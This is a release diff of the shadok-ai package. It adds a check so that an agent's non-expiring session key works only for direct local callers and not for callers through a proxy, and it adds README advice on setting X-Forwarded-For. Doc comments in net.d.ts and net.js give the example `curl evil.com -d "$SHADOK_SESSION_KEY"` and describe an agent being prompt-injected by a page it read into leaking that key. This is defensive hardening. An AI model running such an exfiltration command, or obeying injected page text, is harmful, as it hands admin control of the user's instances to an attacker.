shadok-ai 0.16.26 → 0.16.28

package/README.md

@@ -228,7 +228,9 @@ Enter to skip; you can add it later from the web UI).
   remove it. On send, an image shows **inline in your own message bubble**;
   under the hood the agent still receives it as an `[Attached …: path]` line,
   the same format Telegram uses, so nothing about how the agent reads it
-  changes. A message can be attachments alone, with no words. The files are
+  changes. If the agent is mirrored into Telegram, the file is **posted into its
+  topic too** — a photo as a photo, anything else as a document — so whoever is
+  reading there sees what you sent instead of a path. A message can be attachments alone, with no words. The files are
   served back to the browser by `GET /media/<name>` from the same directory
   Telegram attachments land in.
 - **Files an agent hands you** — when an agent's result IS a file (a report, an
@@ -518,10 +520,20 @@ location / {
     proxy_set_header Upgrade $http_upgrade;
     proxy_set_header Connection "upgrade";
     proxy_set_header Host $host;
+    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;  # see below
     client_max_body_size 50m;   # match the server's paste limit
 }
 ```
 
+**Forward the client address.** An agent authenticates to its own server with a
+session key that never expires, so the server accepts that key **only from this
+machine, directly** — never from the network, where a key leaked by a
+prompt-injected agent would otherwise be permanent admin. A proxy on the same
+host connects from `127.0.0.1` too; the `X-Forwarded-For` line is what tells the
+server the request was relayed. Without it, requests through a same-host proxy
+look local. (A proxy on another host, or nginx in front of a Docker container,
+is already seen as the network.)
+
 The client picks `wss://` on its own when the page is HTTPS, so there is nothing
 to configure on that side.
 

package/dist/net.d.ts

@@ -69,3 +69,23 @@ export declare function originAllowed(origin: string | undefined, host: string |
  * accident and takes the capability off the documented surface.
  */
 export declare function browserOrigin(origin: string | undefined, host: string | undefined, extraAllowed?: string[]): boolean;
+/**
+ * Is this request from a process on THIS machine, reaching us directly?
+ *
+ * The gate on an agent's session key (`x-shadok-session-key`). That key never
+ * expires — by design, invariant 33 — and it is worth the bootstrap admin, so
+ * accepted from anywhere it turned one exfiltrated environment variable (an
+ * agent talked into `curl evil.com -d "$SHADOK_SESSION_KEY"` by a page it read)
+ * into permanent remote admin on every instance reachable from the network,
+ * two-factor or not. Agents only ever call their own server on loopback, so
+ * that is the only place the key needs to work.
+ *
+ * Loopback is not enough on its own: a reverse proxy on the same host (nginx in
+ * front of a non-Docker install) also connects from 127.0.0.1, on behalf of
+ * the whole internet. Such a proxy announces itself with a forwarding header,
+ * which a direct local call never sends — so the presence of one means "relayed",
+ * whatever the socket says. A proxy configured to send none cannot be told apart
+ * from a local caller; the README's TLS recipe sets `X-Forwarded-For`.
+ * Pure — unit tested.
+ */
+export declare function isLocalCaller(remoteAddress: string | undefined, headers: Record<string, unknown>): boolean;

package/dist/net.js

@@ -109,4 +109,32 @@ export function browserOrigin(origin, host, extraAllowed = []) {
         return false;
     return originAllowed(origin, host, extraAllowed);
 }
+/**
+ * Is this request from a process on THIS machine, reaching us directly?
+ *
+ * The gate on an agent's session key (`x-shadok-session-key`). That key never
+ * expires — by design, invariant 33 — and it is worth the bootstrap admin, so
+ * accepted from anywhere it turned one exfiltrated environment variable (an
+ * agent talked into `curl evil.com -d "$SHADOK_SESSION_KEY"` by a page it read)
+ * into permanent remote admin on every instance reachable from the network,
+ * two-factor or not. Agents only ever call their own server on loopback, so
+ * that is the only place the key needs to work.
+ *
+ * Loopback is not enough on its own: a reverse proxy on the same host (nginx in
+ * front of a non-Docker install) also connects from 127.0.0.1, on behalf of
+ * the whole internet. Such a proxy announces itself with a forwarding header,
+ * which a direct local call never sends — so the presence of one means "relayed",
+ * whatever the socket says. A proxy configured to send none cannot be told apart
+ * from a local caller; the README's TLS recipe sets `X-Forwarded-For`.
+ * Pure — unit tested.
+ */
+export function isLocalCaller(remoteAddress, headers) {
+    if (!remoteAddress)
+        return false;
+    const a = remoteAddress.toLowerCase();
+    const loopback = a === "::1" || a.startsWith("127.") || a.startsWith("::ffff:127.");
+    if (!loopback)
+        return false;
+    return !["forwarded", "x-forwarded-for", "x-real-ip", "x-forwarded-host"].some((h) => headers[h] !== undefined);
+}
 //# sourceMappingURL=net.js.map

package/dist/net.js.map

@@ -1 +1 @@
-{"version":3,"file":"net.js","sourceRoot":"","sources":["../src/net.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AAEH,6EAA6E;AAC7E,MAAM,CAAC,MAAM,YAAY,GAAG,WAAW,CAAC;AAExC;;;;;GAKG;AACH,MAAM,UAAU,cAAc,CAAC,IAAY;IACzC,oDAAoD;IACpD,MAAM,CAAC,GAAG,IAAI,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC,OAAO,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC,OAAO,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC;IAC1E,OAAO,CAAC,KAAK,WAAW,IAAI,CAAC,KAAK,KAAK,IAAI,CAAC,KAAK,WAAW,CAAC;AAC/D,CAAC;AAED,iEAAiE;AACjE,MAAM,UAAU,WAAW,CAAC,GAAG,GAAsB,OAAO,CAAC,GAAG;IAC9D,MAAM,CAAC,GAAG,CAAC,GAAG,CAAC,WAAW,IAAI,EAAE,CAAC,CAAC,IAAI,EAAE,CAAC;IACzC,OAAO,CAAC,IAAI,YAAY,CAAC;AAC3B,CAAC;AAED;;;;;;;;GAQG;AACH,MAAM,UAAU,WAAW,CAAC,IAAY,EAAE,WAAoB;IAC5D,IAAI,cAAc,CAAC,IAAI,CAAC,IAAI,WAAW;QAAE,OAAO,IAAI,CAAC;IACrD,OAAO,CACL,kCAAkC,IAAI,+DAA+D;QACrG,iFAAiF;QACjF,gGAAgG;QAChG,4FAA4F;QAC5F,0GAA0G,CAC3G,CAAC;AACJ,CAAC;AAED,sEAAsE;AACtE,MAAM,UAAU,YAAY,CAAC,GAAuB;IAClD,OAAO,CAAC,GAAG,IAAI,EAAE,CAAC;SACf,KAAK,CAAC,GAAG,CAAC;SACV,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC,OAAO,CAAC,MAAM,EAAE,EAAE,CAAC,CAAC;SACtD,MAAM,CAAC,OAAO,CAAC,CAAC;AACrB,CAAC;AAED;;;;;;;;;;;;;;;;;;;;;GAqBG;AACH,MAAM,UAAU,aAAa,CAC3B,MAA0B,EAC1B,IAAwB,EACxB,YAAY,GAAa,EAAE;IAE3B,IAAI,CAAC,MAAM;QAAE,OAAO,IAAI,CAAC,CAAC,qBAAqB;IAC/C,MAAM,CAAC,GAAG,MAAM,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC,OAAO,CAAC,MAAM,EAAE,EAAE,CAAC,CAAC;IAC1D,IAAI,YAAY,CAAC,QAAQ,CAAC,CAAC,CAAC;QAAE,OAAO,IAAI,CAAC;IAC1C,IAAI,CAAC,IAAI;QAAE,OAAO,KAAK,CAAC;IACxB,IAAI,CAAC;QACH,yEAAyE;QACzE,oEAAoE;QACpE,OAAO,IAAI,GAAG,CAAC,CAAC,CAAC,CAAC,IAAI,KAAK,IAAI,CAAC,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC;IACvD,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,KAAK,CAAC;IACf,CAAC;AACH,CAAC;AAED;;;;;;;;;;;;;GAaG;AACH,MAAM,UAAU,aAAa,CAC3B,MAA0B,EAC1B,IAAwB,EACxB,YAAY,GAAa,EAAE;IAE3B,IAAI,CAAC,MAAM,IAAI,CAAC,MAAM,CAAC,IAAI,EAAE;QAAE,OAAO,KAAK,CAAC;IAC5C,OAAO,aAAa,CAAC,MAAM,EAAE,IAAI,EAAE,YAAY,CAAC,CAAC;AACnD,CAAC"}
+{"version":3,"file":"net.js","sourceRoot":"","sources":["../src/net.ts"],"names":[],"mappings":"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"}

package/dist/server.js

@@ -64,7 +64,7 @@ import { resolveChannel } from "./update-channel.js";
 import { isNewer } from "./version.js";
 import { RELOAD_EXIT_CODE } from "./supervisor.js";
 import { acquireInstanceLock, releaseInstanceLock } from "./lock.js";
-import { bindRefusal, originAllowed, parseOrigins, resolveHost, browserOrigin, } from "./net.js";
+import { bindRefusal, originAllowed, parseOrigins, resolveHost, browserOrigin, isLocalCaller, } from "./net.js";
 import { pctFromUsage, windowForModel } from "./context.js";
 import { BACKEND_PRESETS, backendEnv, backendFor, backendSaveVerdict, instanceEnv, joinUrl, looksLikeMessage, parseModelList, testFailure, testRequestBody, } from "./backend.js";
 import { availableModels, MODEL_FAMILIES } from "./claude-models.js";
@@ -673,9 +673,10 @@ function currentAccount(req) {
     // It grants exactly what the cookie already did, no more: `SHADOK_AUTH` IS
     // the bootstrap admin's cookie, so this is the same authority reached by a
     // credential that cannot age out. `sessionForKey` requires the session to be
-    // live, so the key dies with the agent.
+    // live, so the key dies with the agent. And it only counts from THIS
+    // machine (`localSessionForKey`): from the network it is ignored.
     const skey = req.headers["x-shadok-session-key"];
-    if (typeof skey === "string" && skey && sessionForKey(skey))
+    if (typeof skey === "string" && skey && localSessionForKey(req, skey))
         return { name: BOOTSTRAP_ADMIN, role: "admin" };
     // A MEMBER-scope peer (an invited agent from another instance) authenticates
     // as a web MEMBER: everything a person you invite can do — see/drive EVERY
@@ -929,21 +930,16 @@ function sessionKeyFor(id) {
     return signSessionKey(id, signingSecret());
 }
 /**
- * The session a key attests to — while that agent still EXISTS.
- *
- * A derived key stays verifiable forever, so something has to bound it; that is
- * what the Map's `delete` on teardown used to do. The bound is deliberately the
- * CHANNEL and not the `sessions` map, and the difference is not academic: after
- * a restart the server does not re-adopt a web session until a client opens it
- * (`reconcileOnBoot` reattaches Telegram bridges, not sessions), so a tmux agent
- * can be running, executing tools, and absent from `sessions` for hours.
- * Measured: pane alive, `/live` empty, key refused — which would have rebuilt
- * the very cliff this change removes, one restart wide instead of a week.
- *
- * The channel list is on disk, survives the restart, and loses the entry when
- * the agent is closed — which is the moment the key should stop working.
- * The map is still consulted first: it costs nothing and spares the file read.
+ * `sessionForKey`, but only for a caller on THIS machine reaching us directly
+ * (`isLocalCaller`): the key never expires and is worth the bootstrap admin,
+ * so an exfiltrated one must buy nothing from the network. Every route that
+ * accepts a session key goes through here — never `sessionForKey` alone.
  */
+function localSessionForKey(req, key) {
+    if (!key || !isLocalCaller(req.socket?.remoteAddress, req.headers))
+        return null;
+    return sessionForKey(key);
+}
 function sessionForKey(key) {
     const id = readSessionKey(key, signingSecret());
     if (!id)
@@ -965,7 +961,7 @@ function callerOf(req) {
     const h = req.headers["x-shadok-session-key"];
     const fromBody = req.body?.key;
     const key = typeof h === "string" && h ? h : typeof fromBody === "string" ? fromBody : "";
-    const id = key ? sessionForKey(key) : null;
+    const id = localSessionForKey(req, key);
     if (!id)
         return { id: null, profile: null };
     const profile = sessions.get(id)?.profile ?? loadChannels().find((c) => c.sessionId === id)?.profile ?? null;
@@ -2571,7 +2567,7 @@ app.put("/profiles", (req, res) => {
 app.put("/profiles/prompt", (req, res) => {
     const b = req.body ?? {};
     const key = typeof b.key === "string" ? b.key : "";
-    const id = key ? sessionForKey(key) : null;
+    const id = localSessionForKey(req, key);
     if (!id)
         return res.status(403).json({ error: "unknown or missing session key" });
     const caller = sessions.get(id)?.profile ?? loadChannels().find((c) => c.sessionId === id)?.profile ?? null;
@@ -2647,7 +2643,7 @@ app.put("/profiles/secret", (req, res) => {
 // respawn — restartSession tears down the very process that made this call.
 app.post("/reload", (req, res) => {
     const key = typeof req.body?.key === "string" ? req.body.key : "";
-    const id = key ? sessionForKey(key) : null;
+    const id = localSessionForKey(req, key);
     if (!id)
         return res.status(403).json({ error: "unknown or missing session key" });
     const s = sessions.get(id);
@@ -2960,7 +2956,7 @@ app.post("/restart-all", (req, res) => {
  */
 app.post("/files", (req, res) => {
     const key = String(req.headers["x-shadok-session-key"] ?? "");
-    const id = key ? sessionForKey(key) : null;
+    const id = localSessionForKey(req, key);
     if (!id)
         return res.status(403).json({ error: "unknown or missing session key" });
     const body = req.body ?? {};